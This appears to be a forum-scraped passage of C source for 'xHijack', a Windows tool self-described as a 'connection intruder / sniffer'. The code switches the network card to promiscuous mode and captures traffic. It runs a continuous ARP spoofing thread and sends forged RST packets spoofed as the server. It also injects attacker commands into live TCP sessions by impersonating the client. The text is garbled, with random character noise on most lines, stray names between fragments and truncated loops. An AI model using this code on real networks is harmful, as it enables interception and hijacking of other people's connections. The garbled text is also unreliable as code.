^$ B h: J- d( M5 x if (*temp == '\0') { / s. [2 I2 N: A8 u memcpy(AdapterList,temp1,(temp-temp1)*2); + ?. }0 w' Q9 Q7 z+ Y printf("%d - %S\n", i+1, AdapterList); 0 H/ m; _9 p2 g temp1=temp+1; + f% w- z/ `+ O8 x: I8 n5 O9 Q6 @" } i++; # {- k$ k9 C: |# I } / Z! f o4 A( s3 I4 r temp++; } ' _0 S+ k) z5 \8 S8 i% K //choose adapter # \9 [7 B2 a2 P ?, \& E+ I while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); ' N2 C, t0 j! r) P scanf("%1d", &iAdapter); } printf("\n"); //---------------------------------------------// . S7 e) K( w" y& n/ w) l8 v3 a$ F //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 1 w7 A9 i' b+ q" [1 a m8 _ dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ' G" C; ]. i& z: f$ o$ r) k if(dwRet != ERROR_BUFFER_OVERFLOW) ( r9 w" r/ Z) d9 s2 D y { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } 5 T2 s% v3 _# d( [6 v8 J pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 1 U- w4 B1 ?2 }8 C- N, i9 z7 O if(!pAdapterInfo) 8 Y3 r3 B- Y! T- e, n# d, A { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ( k! P5 B9 \+ P! n3 K X return 0; 5 v& ]* T7 x% i* q/ }9 X) b, O" g p: G } $ Y3 T( x- ^% ]! v7 W* V# N% X dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { 1 K( S( E' q" d+ L: d printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; ' o# f. ]1 C5 s. O8 W$ `9 s } : a% f" W& l' [2 h5 v1 T- f4 A1 z pTmp = pAdapterInfo; 7 z4 v V+ N! C9 x! X8 X while(pTmp) { - V6 j2 B- n1 X6 O [9 h //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 1 f+ I! O4 \% m. G7 Q6 f8 m& t { 3 ~( h8 f2 P: C9 l' K. A6 g+ ~ //found it,get own adapter mac address 5 Q6 q4 e7 E' S3 t } memcpy(g_szOwnMAC, pTmp->Address, 6); 6 l: ?% Q6 Y+ A0 s& q //get ip address pIPAddr = &pTmp->IpAddressList; $ T c6 O) ^/ q while(pIPAddr) { 7 B1 F$ |, n: s; h6 W g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); : X* ^$ c6 D+ Y5 \& U! h$ n1 B4 T% w pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; 6 ~: h$ [6 }! [% w } 5 y! P" E, z) K+ ] break; 9 M1 J. U' Y' H$ ^% ]8 P p } 1 Z8 Z. n$ r' m! a/ j. ] pTmp = pTmp->Next; } free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; $ G+ W4 w: G# Q' N) _2 A //---------------------------------------------// ; n! q2 Y) |8 [ //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); . h0 e8 k5 \2 X: {6 U9 z0 X5 r# S if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); + K8 y/ o* S( z7 s: _- c printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 1 M- ?! S' F1 W7 r: N { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\n"); return 0; } } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { ! \: ^/ x0 `! b" l% ]/ h( w printf("Unable to set the kernel buffer!\n"); return 0; } // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); ) [7 V# p3 m. K9 S# V# h if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet " c! C2 M6 i# e7 n5 r1 L9 q, q g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) 4 v6 A3 w" v+ W9 }8 }, ` { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 7 }+ z* S6 u, w6 X) I8 u' U return 0; } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; 4 x- c F' X {: o} //功能：帮助信息 void usage() 1 B# J' l4 j! p# O8 d{ printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" "By eyas 2002/8/19\n" "http://www.ey4s.org\n" ' d7 b+ t9 Q3 a- f- ?3 [ "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); } " [: e. k+ l9 V4 c' f0 E( s! y& Q// 2 a, h1 O* B$ F1 r//功能：显示数据包的一些详细信息 // VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; 9 e4 Z, ]& U2 j" g4 | int i; 0 q B. ?# g" u' ` - A2 P$ v2 x' h6 }7 ` saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; 7 c" e) G5 |& G- ^ printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), . _% _0 q4 d* b4 o/ O' ` ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) : b5 {) L/ a9 s }- U# I { L l2 m( B3 {. Q' c if((pTCPPacket->tcphdr.th_flag) & FlagMask) 2 [ F; T! D7 F printf("%c", g_szTcpFlag); - j) p! m4 `( C( {9 P6 v7 Z$ Q else printf("-"); } printf("\n"); : s/ Q) j' g" k. M //如有需要，可显示更多详细的信息 if(bDetail) 8 _0 A; o2 E- _3 q% |! v printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); } : D+ x6 k* g* [7 ?, E " B* c' F* X5 P. x8 K// + n# K2 a$ ]/ T% w4 J! h# l//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 # X7 I" R$ J3 b* J// ( K# g# V4 ?# M) F. G% L4 x: g' A6 eDWORD WINAPI AnalysePacketsThread(LPVOID lp) " t+ {4 [) i5 ?. E* `( `( t% o$ D{ ULONG ulBytesReceived; " s( s2 c" Z+ p5 O. }. r4 k USHORT usDataLen; 5 W0 }8 b3 [1 ]% ` //USHORT usIPHeadLen, usTCPHeadLen; _) c8 Q; V, w) Q+ ?/ J char *buf; ' u* h! p& r b3 R2 L. L- L0 z u_int off, i; 0 y, V4 F; @1 T+ H" _: \) Z PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; 1 q w/ N: g: [* |) ~ LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 2 H! I" G) E$ u //设置接收的packet , K5 c- T0 W" n; t lpRecvPacket = PacketAllocatePacket(); 1 L5 Y7 @. ~6 k6 A if(lpRecvPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); * m1 _8 e8 [! B# `0 I2 Y4 f return 0; F, W! \% A W } 7 z A$ Z( z9 s4 C) u7 c* n ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); / ~% p. L- |6 n9 t# m$ f PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) " ?4 C7 C! R- T% j' `$ o/ J) K. N { // capture the packets 9 x9 Z+ ` P4 N+ \1 L4 r% L) K if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) # _0 A; c2 P' N+ d$ F6 d { ' v8 T+ i% j& e% ^' C. ?$ _9 w printf("Error: PacketReceivePacket failed.\n"); break; } ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; ! i: M/ L. r1 P3 Y! j; E* Z off = 0; 9 I3 D: u, B8 c- l& r% a( f$ @* x while(off < ulBytesReceived) { hdr = (struct bpf_hdr *)(buf + off); off += hdr->bh_hdrlen; - A; Y: w& C( T" {- q# | pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) * S$ E: {9 _; t. e5 s8 Q if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; //检查是否IP包 0 T8 f* t+ k m/ V) a if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; * ]: X8 l1 p' B. z) g5 P' h //检查是否TCP包 ' [6 Z# B9 T: r1 }3 Y) _: P if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ' U/ j9 p8 h1 G" I$ P+ D //也不处理DestIP是自己的包 0 A& k" a; S) }* N for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
- d+ k& p' Z) |- x8 g            ResetActionAllFlag();
2 Q9 X$ h3 l* B/ z& E: p          }
. V$ r7 m: @. A5 t8 X          //start hijack
) |1 V0 I+ {" O* S; {: u9 A          else if(g_dwAction == ACTION_HIJACK)
4 ]9 }# H6 x( B, W1 k! P          {
            //send rst packet to client
2 O( b: r8 t* Z            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
# w' ^8 t, ~( ]4 n  i6 p; }            //reset action flag
            ResetActionAllFlag();
9 L+ Y$ Z9 ^; v! h4 P& G# l! v          }
  Q+ N1 |. y  a1 C        }
* Z% [" }3 G2 v- b1 a9 E0 @        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
$ i" V! ?" I7 B: ^* h          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
1 v" _2 p* ?) a- a8 L& J, q          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
      }
# H+ u. a6 X/ i4 L! r- ^9 \0 n      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
  }//end of recv packets while
. Z8 F0 F- z; \: m  J# [- M* O- @  PacketFreePacket(lpRecvPacket);
  return 0;
}


- ~( ~4 e/ G% [& `  A//
* [$ h: X7 Y: O3 P2 I9 t$ m7 n//功能：操作记录所有连接信息的单向链表
7 p2 K- B3 b6 g/ b/ H//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
: R" c$ c8 j0 D: f! ^: E            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
  PCONNINFO  pNew, pTmp;
5 q( J" Z7 G# f% c* k
& u  w% o2 R* P# N8 E! s3 t  pTmp = g_pConnHead;
0 b; `& M4 K+ P  while(pTmp)
, o) y9 A* S( x  D  {
    if(pTmp-&gt;bActive)
    {
      //found it
5 S( j9 L) D4 B9 _  {      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
% {; j+ V8 \, ^# w  D        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
- B% ?. I7 ^% `. j        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
, X8 ~; x: h2 n/ @# ?        (pTmp-&gt;uClientPort == uClientPort) )
      {
2 k, s+ ~3 n3 n9 Q+ Y        if(bDelete)
        {
          pTmp-&gt;bActive = FALSE;
          return 0;
        }
        else return pTmp-&gt;ident;
9 c9 j: l& D, K6 J' J0 j2 U      }
5 m* ^4 u( w3 G* X9 p    }
2 O, x- \7 e: o    pTmp = pTmp-&gt;Next;
  }
+ q+ Z0 f: b6 l. r4 N1 W, n& [  //not found, create new node
* J. A' x$ U3 }8 ^' G0 _) X  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  {
8 _* P0 ?3 z: R, S; t    //search unactive note
5 U: f5 Z- g" D. }! G    pTmp = g_pConnHead;
9 b: V4 E1 G( _9 m8 X$ P( c    while(pTmp)
$ @- [3 y+ r% z4 W& b$ J5 T) j    {
* M0 @8 S+ Q, P! `3 N+ w      if(!pTmp-&gt;bActive) break;
      pTmp = pTmp-&gt;Next;
    }
5 ^2 m6 l. W/ t; m* @    //found a unactive node
8 W0 s+ \7 b2 J9 V: v+ E    if(pTmp)
    {
      pTmp-&gt;dwServerIP = dwServerIP;
  I4 x0 @3 P7 U5 Z/ z      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
0 r, F! Z& Y4 L$ b/ G# Y( I3 W      pTmp-&gt;uClientPort = uClientPort;
      pTmp-&gt;bActive = TRUE;
      return pTmp-&gt;ident;
    }
1 r6 V8 k9 ]- P, W  \2 `7 d; w    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
: ^& P$ q! r# k" _& t( V7 G    {
      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
    }
    //fill the struct
) q4 L' a( O% n) t- @- o, ]    pNew-&gt;bActive = TRUE;
    pNew-&gt;dwServerIP = dwServerIP;
    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
% K" Q) T- B1 k) S; S; ^* l    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
/ ~. ~! V  O3 B; {, O5 R8 X    pNew-&gt;Next = NULL;
    //add new node to link
& M' i- C& E% ^  Q/ b    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
    else
    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
1 g" T; p1 [# t2 N; c, s4 ~    }
6 L1 e" H4 t9 p1 ]7 h0 w    return pNew-&gt;ident;
  }
: Q- _3 w  _8 m! U  return 0;
}
5 H6 s! R* L, H, R- m
& I  P) s2 h; X. B: i2 ^//
8 V: H6 J7 }1 \/ }& ~0 d5 T# s7 F//功能：判断一个数据包是不是只有ACK标志
: H5 f8 [7 v2 K# ?9 ^//
BOOL IsACKPacket(unsigned char flag)
{
  int  i, j=1;
+ L5 V9 h3 I5 w8 d  for(i=0 ; i&lt;4; i++)
1 }+ R, I1 B" }8 P. w1 D3 U: @# g- M  {
    if(flag &amp; j) return FALSE;
    j &lt;&lt;= 1;
4 v3 S/ F- l+ N: {# }' A  |  }
, l8 J$ A9 O- |/ @1 u  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  T6 j( j$ G* _  if(flag &amp; 0x20) return FALSE;
, v$ Y2 F6 u# ], a: F  return TRUE;
! w9 b4 x! N1 o! e; A9 Y}
; i5 W3 n& F' b- S9 B: v7 ^1 m
+ V: P1 d% e/ ^3 h! N+ v0 d0 _//
//功能：伪装成Client给Server发送数据包
6 J% s6 k+ Q+ u2 r//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
( e) W* C8 s: Y! ^7 h{
( S% }6 B. b/ G2 a# [- b
  char    szBuff[1520];
1 X$ P# ?: Z) g4 A! S% k, i  PSDHDR    psdhdr;
. h0 d/ S7 Y6 B6 A- h  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;
2 j4 @5 k5 J. E6 [7 o
! A9 `0 I  f. y" g  ?( I& n" }/ i) }  __try
& j& c1 m# S  F# Y' {. m  {
    //
2 z- N" o; v% M    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
0 i# c! O! O2 L" ~    if(!pHiJackPacket)
$ {6 m  G2 F5 i, }    {
      printf("malloc error:%d\n", GetLastError());
. Z" \" F" t( ]( c5 ^      __leave;
    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
  }* C( O1 v4 S2 D, ?. B; O    //-------------- modify the packet ---------------//
    //modify ethernet head
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 d" A/ Q1 N" |8 b5 O1 a% T6 s0 w    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
9 q( j+ j- c1 _0 v7 L    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
; c* [' C8 W# V    pHiJackPacket-&gt;iphdr.checksum = 0;
/ U8 Y* D1 `5 @+ C" U! ?$ `    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
9 [: Q' ?, ?/ y0 n    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
6 T0 L2 p  @6 m1 y# s5 B. S! x5 G    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
& r8 X: J9 f6 Y9 U4 a    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
- U. {& x* j9 E. L. E6 S" J    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
# H" y/ g# }% i! ~2 Q$ @) V    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
0 N# r6 }' t4 a, @( ~' m' \    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
; G4 o8 L5 F" ?% H- x/ D) x; b3 m    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    //calculate IP checksum
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
6 l' P# S% h  y2 d    //fill send buffer           
1 P$ J& c7 i6 S2 C& W; ~5 h: B7 N    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
# ^  F- `3 I0 w8 d    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
! x1 [/ K+ T7 F    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
4 x. H8 }3 y% g, N' Y    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
- K! [1 n! w5 F  o% o, p, V* R! d5 ]      printf("Error sending the hijack packets!\n");
; v# H/ p! y# A  S: M5 ^$ @; {      __leave;
    }
    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
8 N0 U# r( j$ W$ i  }

韩冰

__finally
  {
    if(pHiJackPacket) free(pHiJackPacket);
  }
! j0 e  c; E8 _3 C/ [! I! l  return bRet;
& [* ?4 d% S. N! x1 h" e( e' Q6 L}

, G+ Q0 g( q: H
//
//功能：伪装成Server给Client发送rst包
8 ]5 p3 v3 V# z7 ~# j//
3 J, W4 Z  `0 V7 ?8 Z, DBOOL SendRstPacket(unsigned int seq, unsigned int ack)
. k' j2 @3 `, ^: m6 U4 k& i{
  char    szBuff[60];
  PSDHDR    psdhdr;
3 q9 D8 }+ k8 ~0 i0 x% X( F2 E" l  PTCPPACKET  pTcpPacket = NULL;
5 b! z$ k9 ^  w/ p  BOOL    bRet = FALSE;
5 J* t4 r! q9 B7 r. ]; L* m: z
  __try
  {
# s# e' l: A! x3 i& e  h  _    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
& V6 X+ B3 o0 W: e$ c# e    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
% S6 `$ D/ c, ?0 Z3 \: j! @    if(!pTcpPacket)
+ s7 `, ?+ z& J, f- W    {
2 X1 K; U7 R' t2 n' ~" C5 f" m      printf("malloc error:%d\n", GetLastError());
      __leave;
/ X+ f1 k, r* z+ j  p0 O$ ]3 A0 u    }
    //fill ethernet head
    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
/ ]: b; E: F( n  N- M$ A    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
& `: t& t2 Y4 f- t    //fil ip head
/ I) v! r! `, g$ I    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket-&gt;iphdr.tos = 0;
    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
$ V5 I2 b  j7 o  q" S3 I% v! h    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
    pTcpPacket-&gt;iphdr.checksum = 0;
8 @( Z/ e& A' A% R8 _8 `& Z0 Q5 H    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
* E' n4 O: h# Y! A& @    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
  _9 f3 a( X+ \; v8 B    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
, E3 b! O  Q$ g9 Z; o    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
. g* j1 `& x+ Y* h    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
. B# f! M" n' j/ l    pTcpPacket-&gt;tcphdr.th_win = 0;
  o( |- E- S. [/ x    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
( c7 F: T2 c5 _$ G+ u+ Y    //fill tcp psd head
5 ]7 N* ^) Z1 l. F, ^. N    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 G  J# |% Q$ b! ]" U- s    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
/ m( i9 k% j5 t0 @/ t9 J    psdhdr.mbz = 0;
1 F; o+ l% Q# b# K( u, F    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
( s( ]$ k# `. ^' m& l+ h/ v    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
6 C( A, x( S$ V, J    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
) o9 }7 g& M. V+ h    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
. H, A3 K6 S" V2 `/ i    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
      printf("Error sending the rst packets!\n");
      __leave;
- r( s! l) a4 z  o    }
    else printf("Send RST packet ok!\n");
. [4 j/ y- E, E1 W" P    bRet = TRUE;
  }
  __finally
  {
5 j1 T. ]* U" g2 o    if(pTcpPacket) free(pTcpPacket);
  }
  return bRet;
}

//
//功能：计算校验和
2 Q/ ^2 y9 m: u+ S//
USHORT checksum(USHORT *buffer, int size)
5 u6 p4 ^7 ]; |; P! n6 J* D{
& x- T5 `: i* d/ M8 a unsigned long cksum=0;
while(size &gt;1) {
8 K! \4 r/ C9 {$ J  cksum+=*buffer++;
  size -=sizeof(USHORT);
}
# [0 o" ~6 k0 k0 m7 H! ?, ?$ H if(size ) {
  cksum += *(UCHAR*)buffer;
" u8 n7 \- b+ z" ] }
  _$ b' d9 r  A& \0 y8 \6 E! b9 E) l cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
% V' q4 }1 i$ A3 | cksum += (cksum &gt;&gt;16);
4 v9 W& N: h" L7 d8 X  T return (USHORT)(~cksum);
}
( r0 s8 W6 t7 A/ A2 d' v
//
$ v" c; f' u# a: L//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
+ }* ]7 i" b9 ~2 h: z9 H//2 告诉ClientSide,ServerSide的mac是ownmac
//
# X4 }; _, k5 `" c" ~DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
" ]8 e4 @8 u: F; V! q  int  iType = *(int *)lpType;
2 L" r8 A$ A1 g' J  ARPPACKET  ArpPacket;
+ n8 Z( |. D* M3 |& H6 s5 w4 q- O* F& n7 l! U  LPPACKET  lpArpPacket;
7 ]) M: h- k! h/ w( ^4 j  char    szArpBuff[60];

  switch(iType)
  {
. T  E9 Y! X5 o. F2 \$ r% c0 \    case 1:
. `+ T1 m, _2 I/ T$ k      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
6 T4 O; @' J3 ]8 d& l; h' ~. a      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
    case 2:
4 w& M) y/ U0 f) p      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
1 @- L: G  n" P) C3 e% _      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
      break;
    default:
      return 0;
  }
1 T3 C" @. m" V- N% ]- s/ b7 R0 i  //ethernet head
; j6 L0 H3 F4 Y, s  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
3 k0 a9 H' m$ I% o+ ~$ {  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
8 R, S& S+ Q. C- P0 f0 r2 g  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
3 g/ Y6 b  c" ~% ?  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
: [  j. k, f/ T3 b+ c  ArpPacket.arphdr.HrdAddrlen = 6;
5 p$ W! _9 n8 E! K  ArpPacket.arphdr.ProAddrLen = 4;
) k# }7 s* t6 Q3 _8 v8 e: R  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply

, I' H$ ^8 S9 H. s% C- c  ]. A* O  lpArpPacket = PacketAllocatePacket();
& v% U  \3 D& s$ R5 ]8 z# Y( z" W  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
( V; {; u7 K& v! s, m    return 0;
  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
  //send arp packet
! T/ M2 `5 u1 y" R  while(1)
  {
; Z0 L6 g/ l- o$ S. w  O0 y/ ?6 z    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
) p0 o/ X2 J% ^- g# E4 [    {
